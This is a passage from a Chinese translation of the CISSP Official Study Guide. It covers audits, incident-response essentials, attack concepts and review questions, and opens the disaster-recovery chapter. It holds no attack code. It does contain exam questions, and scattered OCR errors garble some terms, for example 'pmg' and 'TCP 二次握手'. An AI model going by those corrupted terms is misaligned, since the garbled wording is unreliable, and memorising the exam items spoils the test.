记它们 。 任何使用或打印敏感文件的工作人员都能很轻松地分辨它们 。
从出 口 监控的角度来看， DLP 系统能检测到水印 。 当 DLP 系统从这些水印 中识别出敏感数据
时 ， 就可 以阻止传输并向 安全人员 发出警报 。 这样就防止了 组织文件的泄露。
数字水印是一种比较先进的水印。 数字水印是一种在数字文件中秘密嵌入的标记。 例如， 一些
电影公司对发送给不同分销商的电影嵌入数字水印 。 每个副本都有一个不同的标记且可以追踪哪个
分销商收到 了 哪份副本。 如 果有分销商发行盗版电影， 制 片商便能够确定是哪家分销商。
1 7.3.4 审计和评估有效性
许多组织都有强大且有效的安全策略。 然而， 有策略并不意味着工作人员 了解或遵守策略。 许
多 时候， 组织将会通过审计环境的方式评估其安全策略和相关的访问控制。
审计是对环境有条理地进行检查或审查， 目 的是确保符合法规， 并且还能够检测异常、 未授权
的事件或犯罪。 审计验证了部署在环境中 的安全机制是否能够提供足够的安全性。 测试过程确保工作
人员遵循由安全策略或其他规则制定的要求， 并且在部署的安全解决方案中不存在重大漏洞或弱点。
审计人员负责测试和验证安全策略或法规的具体落实过程和程序， 并通过检查使它们能够满足
组织的安全要求。 他们还验证工作人员是否遵循这些过程和程序 。 总的来说， 审计人员执行审计。
审计
术语 "审计" 在 IT 安全性背景下有两种不同 的含义， 所以认识这两种含义间 的差异是很重要的。
首先， 审计是指利用 审计 日 志和监控工具来Jru宗活动。 例如， 当任何用 户访问文件时 ， 审计 日
志可以做 出 记录 ， 并记录用 户 的使用 过程。
其次， 审计也指检查或许佑。 具体来说， 审计是对特定过程或结果的检查或许价， 用 以确定组
织是否遵循特定的规则 或准则 。
这些规则可能来 自 于组织 的安全策略或外部法律和法规。 例如， 安全策略可能会规定在员 工被
解雇之后 ， 应尽快禁用 其非活动账户 。 审计可以检查非活动账户 ， 甚至马创正账户 被禁用 的准确时间
是否与 员 工手颇丰雇的时间相同。 检查审计可以在内部进行， 也可以 由外部审计师进行， 他们经常将
审 计和监控活动创建的 日 志作为 评估过程的一部分。
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CISSP 官方学 习指南(第 7 版)
1 检验审计
安全 IT 环境很大程度上依赖于审计， 将其作为一种检测安全控制来发现和纠正漏洞。 本书中访
问控制 的两个重要审计分别是访 问 审查审计和用 户权限审计。
明确并坚持审计频率是很重要的。 组织通常按照风险的大小来决定安全审计的频率 。 对组织财
产的漏洞和威胁进行人工评估 ， 以确定整体风险水平， 这有助于组织调整审计费用并决定审计频
率 。
提示 :
审计需要成本和时间 ， 审计的频率与风险有关。 例如， 潜在的滥用 或破坏特权账户 比误用 或破
坏普通账户 的风险更大。 所以 ， 安全人员执行对特权账户 的用户 权限审计的频率要高于普通用户 ，
同其他部署和维护安全的方式一样 ， 安全审计通常被视为维护的关键要素。 如果高级管理层未
能执行定期的安全审计， 那么利益相关方将追究他们的责任， 并要求他们承担所有因 安全漏洞或策
略违规问题而造成的资产损失。 不执行审计， 就意味着管理层没有履行监察责任。
2. 访问审查审计
许多组织定期进行访问审查和审计 ， 以确保访问对 象和账户管理符合安全策略要求。 这些审计
能够检查用户 ， 确保他们没有过多的权限， 并能够适当地管理账户 。 它们确保安全流程和程序都正
常运行 ， 人员会对它们进行跟踪 。
例如， 对高度有价值数据的访问范围应只限于需要数据的用户。 访 问审查审计能够验证数据是
否 已经分类， 且用户是否已经知晓分类。 此外， 将确保任何被授权访问数据的人知道是什么使得他
有权访问这些数据。 例如， 如果一名服务台的专业人员能够被授权访问高级别的分类数据， 那么他
需要知道是什么使他有资格获得该级别的访 问权。
当检查账户管理实践情况时， 访问审查审计将根据最佳的实践情况和安全策略来确保账户被禁
用或删除。 例如， 如果员工被解雇， 其账户应该尽快被删除。 典型的离职策略通常包括以下元素:
• 面谈过程中 至少有一个见证人
• 面谈过程中 账户 被禁用
• 面谈中或面谈后立即收回员 工身份徽章和其他凭据物件， 如智能卡
• 面谈后立即护送员工离开
访问审查能够验证策略是否存在且验证人员是否正在对其进行追踪。 当被解雇的员工在离职后
继续访 问 网络时， 就很容易给公司带来损失。 例如， 管理员可以创建一个单独的管理员账户 ， 即使
管理员 的 原始账户被禁用 ， 也可 以使用它来进行访问。
3. 用 户权限审计
用 户权限是指授予用户 的特权。 用户需要权利和权限来完成工作， 但他们只 需要有限数量的特
权。 在用户权限的背景下， 最小特权原则能够确保用户 只有他们所需要的用于完成工作的权限， 井
且没有更多其他权限。
虽然访问控制试图执行最小特权原则 ， 但有些时候， 用户会被授予过多的特权。 当用户有过多
的特权时 ， 用户权限 审查能够发现这违反了 有关用户 权限的安全策略。
第 1 7 章 事件预防和晌应
4. 特权组审计
许多组织将小组作为基于身份的访问控制模型的一部分使用 。 限制这些小组中 的成员是很重要
的 。 同样重要的是还要确保小组成员 只有在必要时才使用他们的高特权账户 。 审计可以帮助确定这
些人员 是否遵循这些策略 。
5. 高级别管理组
许多操作系统都有特权组 ， 如管理员组。 管理员组通常被授予系统的全部权限， 当用户账户被
放置在管理员组中时， 用户就有了这些特权。 所以， 用户权限审计将经常审查所有特权组的成员 ，
包括不 同 的管理员组 。
一些组有很高的特权， 以至于即使是拥有成千上万用户 的组织， 极高特权组中的成员数量也是
很小的 。 例如， 微软域管理有一个企业管理组。 这个组中的用户可以在微软森林体系(一组相关域)
的任何域上做任何事情。 这个组的权利相当高， 以至于只有两个或三个高层次的管理人员 有访问权。
监测和审计组 中 的成员 能够发现添加到该组中的未授权的人。
可 以使用 自 动化的方法来监视特权账户成员 ， 未授权添加用户将会失败 。 审计 日 志也将记录此
操作， 且权限审计能够检查这些事件 。 审计人员可 以检查审计线索 ， 以确定是谁试图添加未授权的
账户 。
拥有高特权的员工也可以创建其他组。 例如， 管理员可 以给 IT 部 门 的一些用户创建 IT 管理员
组。 基于工作需求， 这些管理员将会被授予适当的特权， 并将其账户放入 IT 管理员组中 。 只有来 自
IT 部门 的管理员能够进入组， 用户权限审计能够检查是否有其他部门的用户在组中 。 IT 部门的管理
人员应该在组内， 用户权限审计可以验证其他部门 的用户不在组内 。 这是一种检测蠕变特权的方式。
注意 :
用 户 权限审计也可以检测 当用户 不需要时， 进程是否能够正常删除其特权， 同 时也白色检测到工
作人员 是否遵守该过程。 例如， 如果一个管理员 被转 岗 到组织的销售部门， 这个管理员 就不应该再
拥有管理权限。
6. 双重管理员账号
许多组织要求管理员拥有两个账户 。 一个账户作为 日 常使用 ， 另一个账户拥有额外的特权， 管
理员使用 该账户从事管理工作 。 这减少 了 特权账户 的相关风险。
例如， 如果恶意软件在用户登录时感染了系统， 恶意软件便可以使用该账户 的特权。 如果用户
登录特权账户 ， 恶意软件便有特权。 然而， 如果管理员 只用工作时间 的十分之一使用管理员账户执
行特权， 那么登录特权账户被恶意软件感染的可能性便会减小 。
审计可以验证管理员是否适当地使用特权账户 。 例如 ， 组织能够估算出 管理员在全天中只需要
十分之一的时间来使用特权账户 ， 并在其他时 间使用普通账户 。 日 志分析可以验证估计的准确性，
以及管理员是否遵循了该原则。 如果管理员经常使用管理员账户 ， 很少使用常规的用户账户 ， 审计
能够对该明显违规行为做 出标记 。
同样， 管理员账户需要等级更高的密码。 策略中可 以明确规定普通账户 的密码长度至少为 8 个
字符， 而管理员账户 的密码长度最少为 1 5 个字符。 密码破解工具可以尝试破解管理员账户的密码，
以验证管理员 使用 的 是高级别密码。
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CISSP 官方学习指南(第 7 版)
7. 安全审计和审查
安全审计有助于帮助组织确定正确实现了安全控制。 访问 审查审计(本章前面有所介绍)能够评
估访问控制的有效性。 这些审查确保账户管理适当， 没有过多的权限， 并在需要时会被禁用或删除。
在安全操作域的上下文中 ， 安全审计有助于确保管理控制到位。 下面的列表包括一些需要检查的常
见条 目 :
补丁管理 补丁管理审查能够在补丁发布后， 尽可能快地对其进行评估。 它还确保组织遵循既
定的程序来评估、 测试、 批准、 部署和验证补丁 。 在补丁管理审查或审计中 ， 漏洞扫描报告是很有
价值的 。
漏洞管理 漏洞管理审查能够确保漏洞扫描和评估按照既定的准则定期执行。 例如， 组织可能
有一份策略性的文件， 指出漏洞扫描至少每周进行 ， 并对其进行审查核实。 此外 ， 审查将验证在扫
描中发现 的漏洞 问 题 已经得到解决。
配置管理 系统可以定期进行审核 ， 以确保原始配置不被修改。 通常可以使用脚本工具来检查
系统的特定配置， 并在发生变更时进行确定检查。 此外 ， 日 志记录可 以为许多配置设置记录配置变
更 。 配置管理审计可 以检查任何变更的 日志， 并验证变更是否经过授权。
变更管理 变更管理审计能够确保变更符合组织的变更管理策略。 其中通常包括中断审查以确
定原因 ， 由 未授权变更导致的中断意味着变更管理程序需要改进。
8. 报告审计结果
组织使用 的审计跟踪报告在格式上有很大不同。 然后， 报告中必须列出一些基本的概念或核心
概念:
• 审 计 目 的
• 审计范围
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• 审计发现或揭示 出 的结 果
除了这些基本概念， 审计报告往往包括许多特定于环境的细节， 如时间、 日 期和被审计系统的
列表， 主要包括如下内容:
• 问题、 事件和状态
• 标准和基线
• 诱因、 原因及产生的影响和效果
• 推荐的解决方案和保障措施
审计报告应该有清晰、 简洁和客观的结构或设计。 虽然审计师通常会提出意见或建议， 但他们
必须明确它们 。 实际调查结果应 以审计记录和其他证据中 收集的证据和事实为依据 。
9. 保护审计结果
审计报告通常包含敏感信息。 它们应该被分配一个分类标签， 只 有那些有足够特权的人能够访
问 审计报告 ， 包括高层次的管理人员和参与创建报告或负责更正报告中涉及条 目 的安全人员 。
审计人员有时会为其他人员创建一份独立的审计报告。 这份修改后的报告只提供与 目 标人员相
关的细节信息 。 例如， 高级管理人员不需要知道审计报告的所有细节 。 因此， 针对高级管理人员 的
审计报告更为简洁， 更多是提供了调查结果的概述或总结。 负责纠正问题的安全管理员 的审计报告
应该是非常详细的 ， 包括事件的所有详细信息 。
第 1 7 章 事件预防和响应
另一方面， 审计师执行审计往往是公开的。 这使得员工了解到 ， 高级管理人员正积极地采取措
施维护安全。
1 0. 发布审计报告
审计报告完成后， 审计人员将按照安全策略文档中 的规定， 将报告提交给指定的收件人。 给文
件签署确认收据是很常见的 。 当审计报告包含有关严重的安全违规或性能问题的信息时， 就需要升
级到更高层次的审查管理 ， 并通知相关人员解决问题。
11. 使用外部审计师
许多组织选择聘请外部安全审计师进行独立审计。 此外 ， 一些法律和法规规定组织需要进行外
部审计。 外部审计提供 了内部审计所不能提供的客观评价， 相较于内部的策略、 做法和平旦芋， 外部
审计能够提供新的视角 。
注意 :
许多组织聘请外部安全专 家来对他们的 系统进行渗透测试。 这些渗透测试有助于组织确定漏洞
并判 断攻击者如何利 用 这些漏洞。
外部审计师可以访问公司 的安全策略并被授权检查 IT 和物理环境的某些方面。 因此， 审计师必
须值得信赖。 审计活动 的 目 标是获得含有详细调查结果和建议对策的报告 。
在某些情况下， 外部审计会花费很多时间一一几周或几个月 。 在审计过程中 ， 审计师可以发布
临时报告。 临时报告是一份书面或口 头报告， 能够给组织提供在审计过程中观察到的 需要立即加以
关注的弱点或策略l程序的不匹配状况。 当 问题严重到不能等到最终报告一起汇报时， 审计师可以发
布临时报告 。
审计师一旦完成的审计调查， 通常会召开退出会议。 审计师会在会议上陈述审计中发现的问题，
并对问题进行讨论， 以寻找解决办法。 然而， 只 有到会议结束， 审计师退出之后才会向 组织提交最
终 的 审计报告 ， 以保证审计报告不受组织的策略及强制措施干扰。
组织收到最终的审计报告后， 内部审计人员对其进行审查， 并根据报告向高级管理层提出建议。
高级管理层负 责选择哪些建议能够采纳 ， 并 由 内 部工作人员 实施建议。
1 7.4 本章小结
CISSP CIB 列出了 6 个具体的事件响应步骤。 检测是第一步， 可 以根据 自 动化工具或员工的建
议执行。 工作人员调查警报， 以确定是否实际发生了安全事件， 如果发生了， 下一步是响应 。 在缓
解阶段， 遏制事件进一步恶化是很重要的。 在应对处理事件的整个过程中 ， 保护证据也是很重要的。
根据有关法律或组织的安全策略， 很可能需要填写报告。 在恢复阶段， 系统需要恢复到能够完整地
进行操作的阶段， 确保系统恢复到攻击发生之前的一个较为安全的状态也是很重要的 。 整理阶段往
往会对问题的根本原因进行分析， 且常常包括相应的预防措施。 最后， 吸取经验教训|阶段会对事件
及应对措施进行反思 ， 以 寻找是否有可 以 吸取 的任何经验教训11 。
有几个基本步骤可以防止许多常见的攻击。 它们包括保持系统和应用程序更新补丁， 删除或禁
用 不必要的服务和协议， 使用入侵检测和防御系统， 使用含最新签名的反恶意软件， 并启用基于主
525
CISSP 官方学 习指南(第 7 版)
机和基于网络的防火墙。
拒绝服务(DoS)攻击阻止系统处理或响应对合法服务的请求， 常常通过互联网攻击系统。 SYN
泛洪攻击能够破坏 TCP 三次握手过程， 并且这在现今是很常见的， 而其他的攻击往往是在旧 的攻击
方式上稍作改进。 僵尸 网络通常被用于分布式 DoS(DDoS)攻击。 零日漏洞是以前未知的漏洞。 以下
基本预防措施有助于防止零 日 漏洞攻击。
像入侵检测系统这样的 自动化工具能够使用 日 志来监视环境， 并检测正在发生的攻击。 一些工
具还可以自动阻止攻击 。 lDS 使用的检测方法有两种: 基于知识的 IDS 和基于行为的 IDS。 基于知
识的入侵检测系统使用攻击签名 的数据库进行检测， 但检测不到新的攻击方式。 基于行为的入侵检
测系统使用正常活动的基线标准， 然后将基线同非正常活动的基线进行比较。 被动响应将会记录攻
击活动， 对于和利益相关的条 目 ， 被动响应还会发出警报。 主动响应会通过变更环境的方式阻止攻
击活动。 基于主机的系统会被安装在单一主机上， 并对 其进行监控: 而基于网络的系统会被安装在
网络设备上， 并监测网络的整体活动。 入侵防御系统与流量保持一致， 能够在恶意流量到达之前进
行阻止 。
蜜罐、 蜜网和填充单元是防止在生产网络中发生恶意活动， 并引诱攻击者的有力工具。 它们常
常含有用来引诱攻击者的伪漏洞和假数据。 管理员和安全人员也使用这些工具来收集证据， 以便起
诉攻击者。
反恶意软件的及时更新能够防止许多恶意代码攻击。 反恶意软件通常安装在互联网和内 部网络
之间的边界、 电子邮件服务器和每个系统上。 限制用户安装软件的权限有助于防止用户意外地安装
恶意软件。 此外， 让用户 了解不同类型的恶意软件， 以及犯罪分子如何试图欺骗用户 等知识， 能够
帮助他们避免危险行为。
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渗透测试对于检测安全措施和组织的安全策略的强度和效率很有益。 渗透测试通常以漏洞评估
或扫描开始， 然后尝试利用漏洞。 渗透测试只有在得到管理批准的情况下才能进行， 且只能在测试
系统而不是生产系统中执行。 组织经常聘请外部顾问进行渗透测试， 并可以控制这些测试人员对系
统的了解程度。 零知识测试通常被称为 " 黑盒测试"， 全知识测试通常被称为 " 白盒" 或 "水晶盒测
试 "， 而部分知识测试通常被称为 " 灰盒测试"。
当 日 志记录和监测与有效的认证和识别方法结合在一起时， 便能够提供详细的细节 。 日 记记录
包含对 日 志和数据文件中事件的记录。 安全 日志、 系统日志、 应用程序 日 志、 防火墙 日 志、 代理 日
志和变更管理 日 志都是常见的 日 志文件。 日 志文件包含有价值的数据 ， 故应加 以保护， 以确保它们
不会被修改、 删除或受到损坏。 如果不对 日 志施加保护， 攻击者常常会试图修改或删除 日志， 这样
就没有 了 起诉攻击者的证据 。
监控包括实时审查日志， 这也是审计的一部分。 将事件或突发情况的有关信息记录到一个或两
个数据库或文件中， 就创建了 审计跟踪记录。 它们可以用来重建事件， 提取关于事件的信息 ， 并证
明或反驳罪责 。 审计跟踪提供了一种被动形式的检测安全控制 ， 就像 C口V(闭路电视)和安全警卫
一样， 审计跟踪也被认为是一种威慑手段。 此外 ， 在起诉犯罪时也需要审计跟踪。 日 志可能会很大，
所以人们会使用不同的方式来分析日志， 或减小 日 志的大小。 抽样是用来分析 日 志的统计学方法，
使用 阅值级别对和利益相关的条 目 进行统计。
使用不同的审计和审查方式能够对访问控制的有效性进行评估。 审计是一种针对环境的有条理
的审查方式， 能够确定环境符合规定， 并检测异常和未经授权的事件或犯罪。 访问审查确保访问和
账户管理操作符合组织的安全策略 。 用户权限审计确保工作人员遵守最小特权原则 。
审计报告 以文档形式记录审计结果。 应对这些报告加 以保护， 仅限于组织内特定的人才能查看
第 1 7 章 事件预防和晌应
报告。 高级管理人员和安全专家需要了 解安全审计的结果， 但是如果攻击者得到了 审计报告， 他们
将会利用报告寻找可 以利用 的漏洞 。
审计报告能够用来保证控制措施和工作正确开展。 审计能够用来检查补丁管理、 漏洞管理、 变
更管理和配置管理程序 。
1 7.5 考试要点
了解事件响应的步骤 CISSP ClB 将事件响应分为以下几个步骤: 检测、 响应、 缓解、 报告、
恢复、 整理和吸取经验教训11 。 在检测和验证事件的发生之后， 第一反应是限制事件的扩散范围， 并
同时做好证据保护工作。 根据管理法规的要求， 组织需要向上级报告事件。 如果对 Pll 产生影响，
则 需要通知到个人。 整理和吸取经验教训阶段包括执行根本原因分析， 以确定成因和建议的解决方
案 ， 防止复发。
了解基本的预防措施 基本的预防措施可以防止许多事件的发生。这些措施包括保持系统更新，
删除或禁用不必要的协议和服务， 使用入侵检测和防御系统， 使用含最新签名 的反恶意软件， 并使
用 基于主机和基于网络的防火墙 。
了解拒绝服务(008)攻击 拒绝服务(DoS)攻击能够阻止系统对合法服务的请求的回应。 最常见
的 DoS 攻击有 SYN泛洪攻击， 该攻击能够破坏 TCP 二次握手过程。 尽管现今由于预防措施的阻止 ，
旧 的攻击方式不是很常见， 但我们仍然需要对它们进行检测， 因为许多新的攻击方式往往是从旧 的
攻击方式演变而来的。 使用放大网络的 smurf 攻击能够向众多受害者发送大量的回应数据包。 pmg
死亡攻击向 受害者发送大量的 pmg 数据包 ， 导致受害者系统被冻结、 崩溃或重新启 动 。
理解僵尸网络、 僵尸网络控制器和僵尸牧人 由于能够发动攻击的 电脑数量庞大， 因此僵尸网
络是重大威胁。 所以， 了 解它们是什么很重要。 僵尸网络是网络上由名为僵尸牧人的犯罪分子控制
的受损个人电脑(常被称为僵尸)的集合。 僵尸牧人使用 口令， 控制服务器远程控制僵尸 ， 且通常使
用僵尸网络对其他系统发起攻击， 或者发送垃圾邮件或钓鱼邮件。 僵尸牧人也从其他犯罪分子那里
租用僵尸 网络。
理解零 日漏洞 零日漏洞指的是利用除了攻击者或一小部分人以外没有人知道的漏洞， 进行攻
击的一种方式。 表面上看， 似乎我们并不能保护未知的漏洞， 但是基本安全策略一直在努力预防漏
洞的产生。 删除或禁用不必要的协议和服务能够减少攻击面， 使用防火墙能够屏蔽多数攻击点， 且
使用入侵检测和防御系统有助于检测和阻止潜在的攻击。 此外， 类似于蜜罐和填充单元这样的工具
也 能够保护网络。
理解中 间人攻击 当恶意用户能够在通信链路的两端之间获得逻辑位置时， 中 间人攻击就会发
生 。 虽然对攻击者来说完成中间人攻击很复杂 ， 但是从攻击中 获得的数据量是相 当 可观的。
理解破坏行为和间谍行为 如果组织的内部员工因某些原因对组织产生了 不满， 可能会实施破
坏行为。 当组织的竞争对手试图偷取信息时， 他们通常会买通该组织的 内 部员 工以实施间谍行为。
一些基本安全原则(如最小特权原则、 及时解雇原则)的实施有助于限制不满员工的行为， 井减少因
攻击受到的损失。
理解入侵检测和入侵防御 IDS 和 IPS 是重要的检测和预防攻击的方法。 应了解基于知识(使用
类似于反恶意软件签名 的数据库)的检测和基于行为的检测方式之间的区别。 基于行为的检测首先确
定一个正常情况下的基线 ， 并使用该基线同活动基线作对比， 以检测有无非正常活动 。 如果网络环
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CISSP 官方学习指南(第 7 版)
境被修改， 基线就会失效， 所 以在系统环境发生变更之后应更新基线 。
识别 IDS/IPS 晌应 入侵检测系统可以通过 日 志记录和发送通知做出 被动响应， 也可 以通过变
更环境做出主动响应。 一些人将之称为 IDS 和 IPS。 然而， IPS 与流量相一致， 包含在恶意流量到
达目标之前做 出 阻止响应的功能 。
理解 HIDS 和 NIDS 之间的差异 主机型 IDS(HIDS)可以监测单一系统上的活动。 缺点是攻击
者能够发现并将其禁用 。 网络 型 IDS(NIDS)可 以监测网络上的活动 ， 且对攻击者不可见。
理解蜜罐、 填充单元和伪缺陷 蜜罐是一种含有伪缺陷和假数据 ， 用来引诱入侵者的系统。 管
理员可以观察蜜罐中的攻击者的活动。 只要攻击者在蜜罐中 ， 他们就没有对真实网络造成攻击。 经
过检测， 一些 IDS 具有将攻击者转移到填充单元中的功能。 虽然蜜罐和填充单元相似， 但蜜罐用来
引 诱攻击者 ， 而攻击者会被转移到填充单元中 。
理解阻止恶意代码的一些方法 将几种工具组合在一起能够破解恶意代码。 最常见的就是拥有
最新补丁包的反恶意软件。 这些程序被安装在每个系统中、 网络边界或电子邮件服务器上。 然而，
一些策略要求遵守基本的安全原则， 如最小特权原则， 这能够有效防止普通用户 安装恶意软件。 此
外 ， 对用户 进行攻击风险及攻击手段方面的知识教育能够帮助用户 了 解并避免危险行为。
理解渗透测试 渗透测试从发现漏洞开始， 然后模仿攻击， 以确定什么样的漏洞可以被利用 。
没有管理层明确的同意通知是不能进行渗透测试的 。 此外， 因 为渗透测试可能会导致损坏， 所以应
尽可能在孤立系统中执行。 同时还应该了解黑盒测试(零知识测试)、 白盒测试(全知识测试)和灰盒测
试(部分知识测试)之 间 的差异 。
了解日志文件类型 日 志数据记录在数据库或不同类型的日志文件中 。 常见的 日 志文件包括安
全日志、 系统 日 志、 应用程序 日志、 防火墙 日志、 代理 日志和变更管理 日 志。 日 志文件应通过集中
存储和限制访问权限的方法来保护 ， 日 志文件的格式应设置为只读， 以防他人更改 。
理解监控和监控工真的使用 监控是一种审计形式， 侧重于对日 志文件数据进行主动审查。 监
控用来保持受试者并使他们对 自 己的行动负责， 同时监控能够检测到异常或恶意的活动。 监控也被
用 来监视系统性能 。 监控工具(如 IDS 或 SIEM)能够提供对事件的实时分析。
理解审计眼踪 将事件信息记录到一个或更多个数据库或日 志文件中 ， 就创建了审计跟踪记录。
审计跟踪能够用来重建事件、 提取事件信息、 证明或反驳罪责。 使用 审计跟踪是侦查安全控制的一
种被动形式， 也是起诉犯罪分子的重要证据。
理解抽样 采样或数据提取是从大量的数据中提取所需要素， 以构建能够代表整体的总结的过
程。 统计抽样使用精确的数学函数， 从大量的数据中提取有意义的信息。 阀值是一种非统计抽样 ，
只 记录超 出 阁值的事件 。
理解问责方式 通过对审计的使用 ， 问 责能够详细到个人。 日 志记录了 用户活动 ， 用户也能够
为记录的行动负责。 这使得用户 不执行违规行为， 并遵守组织的安全策略。
理解安全审计和审查的重要性 安全审计和审查有助于确保管理程序有效且被记录。 它们通常
与账户管理联系在一起， 以防止用户违反最小特权或知其所需原则 。 然而， 它们也可以用于监督补
丁管理、 漏洞管理 、 变更管理和配置程序管理。
理解审计和频繁安全审计的必要性 审计是对环境有条理地进行检查或审查， 以确保其符合法
规， 并能够检测异常、 未经授权的事件或犯罪。 安全 盯 环境在很大程度上依赖于审计。 总体而言 ，
在安全环境中 ， 审计是一种很重要的检测控制手段。 町 设施安全审计或安全审查的频率取决于风险。
组织会对风险进行评估 ， 以决定补充经费或终止审计。 风险等级还影响着审计方式。 明确并坚持审
计频率是很重要的 ， 从而验证部署在环境中 的安全机制能否提供足够的 安全性。
第 1 7 章 事件预防和晌应
理解审计是维护的一方面 安全审计和有效审查是维护的关键要素。 高级管理人员 必须依照规
定执行定期的安全审查， 否则他们将可能对发生 的任何资产损失负责。
理解控制审计报告访问的必要性 审计报告通常具有相同的概念， 如审计 目 的、 审计范围、 审
计发现或揭示出 的结果。 审计报告中通常还有环境的具体信息， 以及一些敏感信息 ， 如 问题、 标准、
起因和建议。 含有敏感信息的审计报告应被单独分类标签， 井妥善处理。 只有具有访问权限的人才
能查看审计报告。 提供给不同人的审计报告可以有不同 的版本， 里面只提供该份报告的 目标读者所
需要的信息。 例如， 提供给高级安全管理员 的报告应详细说明所有细节， 提供给普通管理人员的报
告 只含有概括性的信息 。
了解访问审查和用户权限审计 访 问 审查确保用户访问和账户管理行为符合安全策略中的规
定 。 用 户权限审计确保最小特权原则 能够实施 ， 并能够对特权账户 加 以监控。
控制审计访问 定期审查访问控制有助于确保访问控制的有效性。 例如， 审计可以记录账户 的
登录成功或失败。 入侵检测系统可 以监控这些 日 志 ， 轻松地识别攻击， 并通知管理 员 。
1 7.6 书 面实验室
1 . 列 出 CISSP CIB 中 定义的事件响应的不同阶段 。
2. 描述主要 的入侵检测系统类型 。
3 . 描述审计和审 计跟踪之间 的关系 。
4. 组织应该怎样验证账户 是否妥善管理?
1 7.7 复习题
1 . 下列哪一项是在检测和确认事件发生后最好的响应?
A. 控制它
B. 报告它
C 修复它
D. 收集证据
2 在事件响应的修复阶段 ， 安全人员会做下列哪件事?
A. 控制事件
B 收集证据
c. 重建系统
D. 执行根本原因分析
3 . 以下哪些是拒绝服务攻击? (选择三项)
A. 泪滴攻击
B. smurf攻击
C 死亡 ping
D. 欺骗
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CISSP 官方学习指南(第 7 版)
4. SYN 泛洪攻击是如何工作的 ?
A. 利用 Windows 系统中的数据包处理漏洞
B. 使用放大网络产 生大量数据包并发送给受害者
c. 扰乱 TCP 使用 的三次握手过程
D 发送超大 pll1g 数据包给受害者
5. 在互联网上托管的 Web 服务器最近被攻击者利用操作系统中 的漏洞攻击了 。 操作系统供应
商在事件协助调查并证实该漏洞 以前并不知道。 什么类型的攻击是这样的 ?
A 僵尸 网络
B. 零 日 漏洞攻击
c. 拒绝服务攻击
D. 分布式拒绝服务攻击
6. 以下哪个选项是散播恶意软件 的最常见方式?
A. 偷渡式下载
B. USB 闪 存驱动器
c. 勒索
D. 未经批准的软件
7. 在 下列 选项中， 哪一项指出了入侵检测系统(IDS)的主要 目 的 ?
A. 检测异常活动
B. 诊断系统故障
c. 评估系统性能
D. 测试系统漏洞
8. 关于主机型入侵检测系统(田DS)， 以 下哪一项描述是正确 的 ?
A. 可 以监控整个网络
B. 监控单个系统
c. 对于攻击者和用户 是无形的
D. 不能检测恶意代码
9. 下列哪一项描述了以未打补丁和未受保护的安全漏洞和错误数据设计虚假网络以吸引 攻
击者 ?
A. IDS
B. 蜜 网
c. 填充单元
D. 伪缺陷
1 0. 下列选项 中 ， 反恶意软件保护的最佳方式是什么 ?
A. 每个系统上多个解决方案
B. 整个组织一个解决方案
c. 在不同 的位置部署反恶意软件保护
D. 在所有边界网关不折不扣地过滤 内 容
11 当使用渗透测试验证安全策略的强度时， 下列哪-项是不受推荐的 ?
A. 模仿 以 前发生过的对系统的攻击
B. 在没有管理常识的情况下执行攻击
第 1 7 章 事件预防和晌应
c. 使用手动和 自 动攻击工具
D. 重新配置系统去解决任何发现的漏洞
1 2. 什么用于保持主体为他们 的行为负责， 同 时他们 的身份 己 由系统认证?
A. 认证
B. 监控
c. 账户锁定
D. 用户权限审查
13. 审计跟踪是什么类型 的安全控制 ?
A. 行政管理性安全控制
8. 检测性安全控制
c. 纠 正性安全控制
D 物理性安全控制
14. 下列哪些选项能在环境中有条不紊地检查或审查以确保符合法规， 并且检测异常、 未授权
的事件或犯罪 ?
A. 渗透测试
B. 审 计
C 风险分析
D. 陷 阱
15. 什么可以用来减少使用 非统计方法的 日 志或审计数据量?
A. 阅值级别
B. 取样
c. 日 志分析
D. 报警触发器
1 6. 下列哪一项 比实际内容更侧重于模式和数据的趋势 ?
A. 击键监控
B. 流量分析
c. 事件 日 志
D. 安全审计
1 7. 当用户拥有不必要的特权时需要进行哪项活动 ?
A. 账户 管理
B. 用户权限审计
c. 日 志记录
D. 报告
在 回答问题 1 8 至 20 时请参考下面 的场景:
一个组织有一份需要核实后报告事件的响应计划。 为了安全目的， 该组织并没有公布这份计划。
只 有事件响应团队的少数几个成员 知道这份计划及其内容。 近日， 服务器管理员发现自 己管理的
Web 服务器运行比平时慢。 快速调查后， 他发现攻击来 自某个特定 E 地址。 他立即重新启 动 Web
服务器以重置连接， 攻击停止了。 然后， 他使用从互联网上找到的专门针对此 E 地址的工具进行了
数小时的反击。 因 为来自这个 IP 地址的攻击停 了 下来， 他没有报案。
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CISSP 官方学习指南(第 7 版)
1 8. 在重新启 动 Web 服务器之前应该做什么 ?
A. 审查事件
B. 执行补救措施
C. 采取恢复步骤
D. 收集证据
1 9. 以 下哪一项指出了服务器管理员在此事件中做出 的严重错误 ?
A. 重新启 动服务器
B. 不报案
C. 攻击 IP 地址
D. 重置连接
20 在这起事件中完全丧失 了什么 ?
A. 经验教训
B. 检测
C. 响应
D. 恢复
第 18 z=二
写王
灾难恢复计划
本章中覆盖的 CISSP 考试大纲包含 :
安全评估与测试
• c. 收集安全过程数据(例如， 管理和运营控制)
C.5 培训和意识
C.6 灾难恢复与业务连续性
安全运营
• K. 实施恢复策略
K. l 备份存储策略(例如 ， 异地存储、 电子传送、 磁带循环)
K.2 站点恢复策略
K.3 多站点(例如， 操作元余系统)
K.4 系统恢复能力 、 高可用性、 服务质量和容错能力
• L. 执行灾难恢复过程
L. l 响应
L.2 人员
L.3 通信
L.4 评估
L.5 恢复
L.6 培训和意识
• M. 测试灾难恢复计划
M. l 通读测试
M.2 结构化演练
M.3 模拟测试
M.4 并行测试
M.5 完全中 断测试
CISSP 官方学 习指南(第 7 版)
在第 3 章 "业务连续性计划" 中 ， 你 己经学习 了业务连续性计划(BCP)的基本内容， 也就是帮
助组织避免因紧急事件或灾难而使业务中断的技术。 但是业务连续性计划并不力图去阻止每个可能
的灾难。
灾难恢复计划(DRP)在 BCP 中止时开始。 当灾难发生且业务连续性计划无法防止业务中断时，
灾难恢复计划开始生效， 并且指导紧急事件响应人员 的工作， 直至达到最终 目 标， 也就是业务被还
原到主要运营设施的全部运营 能力 。
阅读本章时， 你可能会注意到在BCP和DRP处理过程之间有很多重叠的地方。 实际上， 我们对
特定灾难的讨论， 是从BCP和DRP的角度， 从如何处理这些灾难中提供信息。 事实上， 虽然。sci
的CISSP课程对两者进行了 区分 ， 但是大多数组织都只有单个团 队和计划 ， 同时涉及业务连续性和
灾难恢复所关注的 内 容。 在许多组织里， 单一学科被称为业务连续性管理但CM)， 包括BCP、 DRP
以及单独保护下的事件管理。
丁 8. 1 灾难的本质
